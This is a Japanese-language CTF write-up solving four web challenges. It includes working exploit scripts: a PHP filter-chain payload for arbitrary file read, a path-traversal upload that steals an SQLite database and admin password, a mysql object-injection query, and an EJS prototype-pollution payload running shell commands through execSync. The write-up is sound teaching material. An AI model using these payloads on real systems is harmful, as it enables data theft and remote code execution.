BunkyoWesternsで参加して140位。うーむ。例年通り250チームがサウジアラビアはリヤドで開催される決勝へ行け、また上位10チームには旅費が支給されるということだったけれども、かなりの激戦となっていた。
- [Web 110] Free Flag (349 solves)
- [Web 120] Watermelon (465 solves)
- [Web 180] Notey (254 solves)
- [Web 270] Fastest Delivery Service (171 solves)
[Web 110] Free Flag (349 solves)
Free Free
添付ファイル: challenge-files-cfcb9d9b-7f12-440b-9a17-b7f3e2112980.zip
Dockerfile
からフラグは /flag.txt
に存在しているとわかる。Webサーバ上でPHPコードが動いており、その内容は次の通り。任意のファイルを file_get_contents
で読めるけれども、その内容はファイルが <?php
もしくは <html
から始まっていなければ教えてくれない。flag.txt
は当然それらの文字列から始まっていないので、読み取れないように見える。
<html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Free Flag</title> </head> <body> <?php function isRateLimited($limitTime = 1) { $ipAddress=$_SERVER['REMOTE_ADDR']; $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress); $lastRequestTime = @file_get_contents($filename); if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) { return true; } file_put_contents($filename, time()); return false; } if(isset($_POST['file'])) { if(isRateLimited()) { die("Limited 1 req per second"); } $file = $_POST['file']; if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha { die("catched"); } else { echo file_get_contents($file); } } ?> </body> </html>
ならば、強引に <?php
や <html
から始めさせればよい。file_get_contents
といえばプロトコル/ラッパーで、これを使えばたとえば php://filter/convert.base64-encode/resource=/flag.txt
で /flag.txt
をBase64エンコードした内容が得られる。これを発展させて、強引に任意の文字列を作り出すことができる。
この記事に登場するスクリプトを少し改造して、/flag.txt
の前に <?php
をくっつけて出力してくれるようなURLを得る。これを投げると、次のような結果が得られた。
$ curl -d "file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag.txt" http://(省略) --output - 2>/dev/null | xxd 00000000: 3c68 746d 6c20 6c61 6e67 3d22 656e 223e <html lang="en"> 00000010: 0a3c 6865 6164 3e0a 2020 2020 3c6d 6574 .<head>. <met 00000020: 6120 6368 6172 7365 743d 2255 5446 2d38 a charset="UTF-8 00000030: 223e 0a20 2020 203c 6d65 7461 206e 616d ">. <meta nam 00000040: 653d 2276 6965 7770 6f72 7422 2063 6f6e e="viewport" con 00000050: 7465 6e74 3d22 7769 6474 683d 6465 7669 tent="width=devi 00000060: 6365 2d77 6964 7468 2c20 696e 6974 6961 ce-width, initia 00000070: 6c2d 7363 616c 653d 312e 3022 3e0a 2020 l-scale=1.0">. 00000080: 2020 3c74 6974 6c65 3e46 7265 6520 466c <title>Free Fl 00000090: 6167 3c2f 7469 746c 653e 0a3c 2f68 6561 ag</title>.</hea 000000a0: 643e 0a3c 626f 6479 3e0a 2020 2020 0a3c d>.<body>. .< 000000b0: 3f70 6870 06c9 0a50 d092 119b 1859 d65e ?php...P.....Y.^ 000000c0: cd4c 4d18 98d9 4d19 0c0c 98d8 4c98 984e .LM...M.....L..N 000000d0: 584d d88c 0ccc 4d8c 588d 4d4c 0c58 4c0c XM....M.X.ML.XL. 000000e0: 5f42 83e0 03d0 03d0 f800 f400 f43e 003d _B...........>.= 000000f0: 003d 0f80 0f40 0f43 e003 d003 d0f8 00f4 .=...@.C........ 00000100: 00f4 3e00 3d00 3d0f 800f 400f 3c2f 626f ..>.=.=...@.</bo 00000110: 6479 3e0a 3c2f 6874 6d6c 3e0a dy>.</html>.
次に、どんな文字列が先程のフィルターを通ると、出力されたバイト列ができあがるのかを特定する必要がある。頑張ればいい感じにデコードするスクリプトが書けるのだろうけれども、面倒だったのでブルートフォースで1文字ずつ特定するスクリプトを書いた。
<?php function compare($a, $b) { $l = min(strlen($a), strlen($b)); $r = 0; for ($i = 0; $i < $l; $i++) { if ($a[$i] === $b[$i]) $r++; } return $r; } define('TARGET', hex2bin('3c3f70687006c90a50d092119b1859d65ecd8c0d18d94c990d8e19994d8c98d9184c8cd94c4c4c8d4c584ccd0c4e0c19995f4283e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f')); function conv($s) { $r = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=data:,' . $s . '%0a'; return file_get_contents($r); } function go($s) { return compare(conv($s), TARGET); } $table = '0123456789abcdef{}Y'; $res = 'BHFlag'; while (true) { $mi = 0; $mc = ''; echo "[progress]"; foreach (str_split($table, 1) as $a) { echo "$a"; foreach (str_split($table, 1) as $b) { foreach (str_split($table, 1) as $c) { $tmp = $res.$a.$b.$c; $l = go(str_pad($tmp, 41, 'X')); if ($l > $mi) { $mc = $a; $mi = $l; } } } } $res .= $mc; echo "\n" . $res . "\n"; }
これを実行するとフラグが得られた。
$ php solve.php … BHFlagY{604ce2d68fe62cda23e11251a34180f [progress]0123456789abcdef{}Y BHFlagY{604ce2d68fe62cda23e11251a34180fe [progress]0123456789abcdef{}Y BHFlagY{604ce2d68fe62cda23e11251a34180fe0 [progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe}
なかなか強引な解法だったけれども、ほかのプレイヤーのwriteupを見るとwrapwrapという便利なツールがあったらしい。なるほどなあ。
[Web 120] Watermelon (465 solves)
All love for Watermelons 🍉🍉🍉
Note: The code provided is without jailing, please note that when writing exploits.
添付ファイル: challenge-files-43c405e8-0c8e-4e24-8578-9d5a0945113a.zip
いい感じにログインできるPython製のWebアプリが与えられている。コードがちょっと長いので、少しずつ見ていく。まず重要な箇所として、どのような条件でフラグが得られるかだけれども、これは admin
というユーザになればよいらしい。
def admin_required(f): @wraps(f) def decorated_function(*args, **kwargs): if 'username' not in session or 'user_id' not in session or not session['username']=='admin': return jsonify({"Error": "Unauthorized access"}), 401 return f(*args, **kwargs) return decorated_function # … @app.get('/admin') @admin_required def admin(): return os.getenv("FLAG","BHFlagY{testing_flag}")
ファイルアップロード機能がある。何やらアップロード時に secure_filename
でPath Traversal対策をしようとしているようだけれども、結局アップロードしたファイルを参照する際に使っているパスが file_path
とガバガバな方なので、普通にPath Traversalができそう。ただ、proc
, self
, environ
, env
といった文字列がパスに含まれると弾かれるので、環境変数を見て直接フラグを得るというのはできなそう。なんとかして、admin
の認証情報を得られないか。
@app.route("/upload", methods=["POST"]) @login_required def upload_file(): if 'file' not in request.files: return jsonify({"Error": "No file part"}), 400 file = request.files['file'] if file.filename == '': return jsonify({"Error": "No selected file"}), 400 user_id = session.get('user_id') if file: blocked = ["proc", "self", "environ", "env"] filename = file.filename if filename in blocked: return jsonify({"Error":"Why?"}) user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id)) os.makedirs(user_dir, exist_ok=True) file_path = os.path.join(user_dir, filename) file.save(f"{user_dir}/{secure_filename(filename)}") new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id) db.session.add(new_file) db.session.commit() return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201 return jsonify({"Error": "File upload failed"}), 500 @app.route("/file/<int:file_id>", methods=["GET"]) @login_required def view_file(file_id): user_id = session.get('user_id') file = File.query.filter_by(id=file_id, user_id=user_id).first() if file is None: return jsonify({"Error": "File not found or unauthorized access"}), 404 try: return send_file(file.filepath, as_attachment=True) except Exception as e: return jsonify({"Error": str(e)}), 500
DBは db.db
というファイルに保存されているらしい。これだ。
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db'
/app/instance/db.db
を読み出し、そこから admin
の認証情報を盗み取ってログインし、フラグを得るスクリプトを用意する。
import uuid import sqlite3 import httpx with httpx.Client(base_url='http://(省略)', timeout=60) as client: u = str(uuid.uuid4()) p = str(uuid.uuid4()) client.post('/register', json={ 'username': u, 'password': p }) client.post('/login', json={ 'username': u, 'password': p }) client.post('/upload', files={ 'file': ('../../../../../../app/instance/db.db', b'poyo') }) r = client.get('/files') i = r.json()['files'][0]['id'] r = client.get(f'/file/{i}') with open('aaa.db', 'wb') as f: f.write(r.content) con = sqlite3.connect('aaa.db') cur = con.cursor() res = cur.execute('SELECT password FROM user WHERE username = "admin"') p = res.fetchone()[0] client.post('/login', json={ 'username': 'admin', 'password': p }) r = client.get('/admin') print(r.text)
これを実行するとフラグが得られた。
BHFlagY{c24cf993b088e8f5a7ca004e2bd7ef9b}
[Web 180] Notey (254 solves)
I created a note sharing website for everyone to talk to themselves secretly. Don't try to access others notes, grass isn't greener :'( )
添付ファイル: challenge-files-a507f402-dadb-47d0-b7a3-f237107ae418.zip
メモアプリが与えられている。フラグは admin
というユーザに結びついたメモとして格納されているらしい。
function insertAdminNoteOnce(callback) { const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"'; const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)'; const flag = process.env.DYN_FLAG || "placeholder"; const secret = crypto.randomBytes(32).toString("hex"); pool.query(checkNoteQuery, [], (err, results) => { if (err) { console.error('Error executing query:', err); callback(err, null); return; } const NoteCount = results[0].count; if (NoteCount === 0) { pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => { if (err) { console.error('Error executing query:', err); callback(err, null); return; } console.log(`Admin Note inserted successfully with this secret ${secret}`); callback(null, results); }); } else { console.log('Admin Note already exists. No insertion needed.'); callback(null, null); } }); }
メモには秘密のパスワードが設定されており、そのメモのIDとパスワードを手に入れれば、メモの内容を読むことができる。
function getNoteById(noteId, secret, callback) { const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?'; console.log(noteId,secret); pool.query(query, [noteId,secret], (err, results) => { if (err) { console.error('Error executing query:', err); callback(err, null); return; } callback(null, results); }); }
JavaScript製のWebアプリだけれども、mysql
というライブラリが使われている。
const mysql = require('mysql'); const crypto=require('crypto'); const pool = mysql.createPool({ host: '127.0.0.1', user: 'ctf', password: 'redacted', database: 'CTF', waitForConnections: true, connectionLimit: 10, queueLimit: 0 });
middlewares.js
では、ユーザから与えられたいろいろなパラメータのバリデーションがなされている。一部では文字列かどうかのチェックもされている。
const auth = (req, res, next) => { ssn = req.session if (ssn.username) { return next(); } else { return res.status(401).send('Authentication required.'); } }; const login = (req,res,next) =>{ const {username,password} = req.body; if ( !username || ! password ) { return res.status(400).send("Please fill all fields"); } else if(typeof username !== "string" || typeof password !== "string") { return res.status(400).send("Wrong data format"); } next(); } const addNote = (req,res,next) =>{ const { content, note_secret } = req.body; if ( !content || ! note_secret ) { return res.status(400).send("Please fill all fields"); } else if(typeof content !== "string" || typeof note_secret !== "string") { return res.status(400).send("Wrong data format"); } else if( !(content.length > 0 && content.length < 255) || !( note_secret.length >=8 && note_secret.length < 255) ) { return res.status(400).send("Wrong data length"); } next(); } module.exports ={ auth, login, addNote };
しかしながら、/viewNote
では note_id
と note_secret
というパラメータが文字列であるかどうかは確認されていない。もし文字列以外を投げるとどうなるだろうか。
app.get('/viewNote', middleware.auth, (req, res) => { const { note_id,note_secret } = req.query; if (note_id && note_secret){ db.getNoteById(note_id, note_secret, (err, notes) => { if (err) { return res.status(500).json({ error: 'Internal Server Error' }); } return res.json(notes); }); } else { return res.status(400).json({"Error":"Missing required data"}); } });
Flatt Securityさんのブログでstyprさんが以前出していたブログ記事を思い出した。オブジェクトが入ってくることで、SQLの構造が変わってしまうらしい。ということで、似たようなことをやるスクリプトを用意する。
import uuid import httpx BASE_URL = 'http://(省略)' with httpx.Client(base_url=BASE_URL, timeout=300) as client: u = str(uuid.uuid4()) p = str(uuid.uuid4()) print(u, p) client.post('/register', data={ 'username': u, 'password': p }) print('registered') client.post('/login', data={ 'username': u, 'password': p }) print('logged in') r = client.get('/viewNote', params={ 'note_id[note_id]': '1', 'note_secret[secret]': '1' }) print(r.text)
SELECT note_id,username,note FROM notes WHERE note_id = `note_id` = '1' and secret = `secret` = '1'
というようなSQLが実行される。これによって、/viewNote
ですべてのメモが得られてしまうわけだ。実行するとフラグが得られた。
BHFlagY{e073c92a6f69ad8a5d051fbe1b91b361}
[Web 270] Fastest Delivery Service (171 solves)
No time for description, I had some orders to deliver : D
Note: The code provided is without jailing, please note that when writing exploits.添付ファイル: challenge-files-69e055b6-d0b7-440a-a580-067ae4592251.zip
シンプルなUIで発送物の管理ができるシステムらしい。Dockerfile
からはランダムなファイル名でフラグが保存されており、したがってRCEなりなんなりでこのファイル名を特定し内容を得る必要があるとわかる。
RUN echo "$FLAG" > '/tmp/flag_'$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt
コードがなんだか長いけれども、かなり怪しい箇所が見つかる。ここでユーザ名を __proto__
に、addressId
を汚染したいプロパティの名前にすることで、Prototype Pollutionができそうだ。ユーザ登録はオープンなので __proto__
というユーザ名でも登録できるし、そんなユーザ名でも問題なく機能が利用できる。
app.post('/address', (req, res) => { const { user } = req.session; const { addressId, Fulladdress } = req.body; if (user && users[user.username]) { addresses[user.username][addressId] = Fulladdress; users[user.username].address = addressId; res.redirect('/login'); } else { res.redirect('/register'); } });
では、Prototype PollutionからRCEに持ち込めそうなgadgetは存在しているか。コード中に app.set('view engine', 'ejs');
という記述があり、EJSというテンプレートエンジンが使われているとわかる。また、package.json
からはバージョンが3.1.9とわかる。
「ejs prototype pollution 3.1.9」みたいなクエリでググると、いい感じのCVEとPoCが見つかった。めちゃくちゃ見覚えがある。Prototype PollutionがEJSから起こせるというのならまだしも、gadgetがあるからとCVE番号が採番されるというのは疑問に思われる。
まあいいや。次のようなスクリプトを用意する。
import httpx with httpx.Client(base_url='http://(省略)', timeout=60) as client: client.post('/register', data={ 'username': '__proto__', 'password': 'hogehoge', }) client.post('/login', data={ 'username': '__proto__', 'password': 'hogehoge', }) client.post('/address', data={ 'addressId': 'client', 'Fulladdress': '1' }) client.post('/address', data={ 'addressId': 'escapeFunction', 'Fulladdress': 'function(){return process.mainModule.require("child_process").execSync("cat /tmp/flag*").toString()}' }) print(client.get('/').text)
実行するとフラグが得られた。
$ python3 s.py <!DOCTYPE html> <html> <head> <title>Food Delivery Service</title> </head> <body> <h1>Welcome to the Food Delivery Service</h1> <p>Hello, BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468} !</p> <a href="/order">Place an Order</a> <a href="/logout">Logout</a> </body> </html>
BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468}